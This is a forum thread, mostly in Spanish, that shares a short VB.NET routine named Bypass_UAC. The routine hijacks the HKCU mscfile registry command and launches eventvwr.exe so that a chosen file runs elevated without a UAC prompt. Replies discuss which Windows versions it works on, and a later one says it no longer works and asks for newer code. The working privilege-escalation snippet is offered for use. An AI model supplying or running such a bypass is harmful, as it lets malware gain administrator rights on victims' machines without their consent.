Public Sub Bypass_UAC(ByVal filepath As String)
'Based: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Using regkey As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Classes\mscfile\shell\open\command")
regkey.SetValue("", filepath, RegistryValueKind.String)
End Using
Process.Start("eventvwr.exe")
End Sub
Update:
Change : OpenSubKey ---> CreateSubKey
HOLA!!!
Esto realmente funciona? para que SOs?
GRACIAS POR LEER!!!
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Esto realmente funciona? para que SOs?
CitarThis technique has been tested on Windows 7 and Windows 10, but is expected to work on all versions of Windows that implement UAC.
fuente:
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Saludos
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
HOLA!!!
Esto realmente funciona? para que SOs?
GRACIAS POR LEER!!!
Win7, Win8, Win8.1 y Win10 (x86 - x64).
Aunque si se modifica el Control de Cuentas de Usuario se puede bloquear esto.
Si, si funciona, es mas, esto se le notifico a microsoft ( como pone en el blog de enigma) y no parece que les importe demasiado.
Gracias por la implementacion
unfortunately this method does not work anymore >:(. is there any updated system?
maybe an example code would be ideal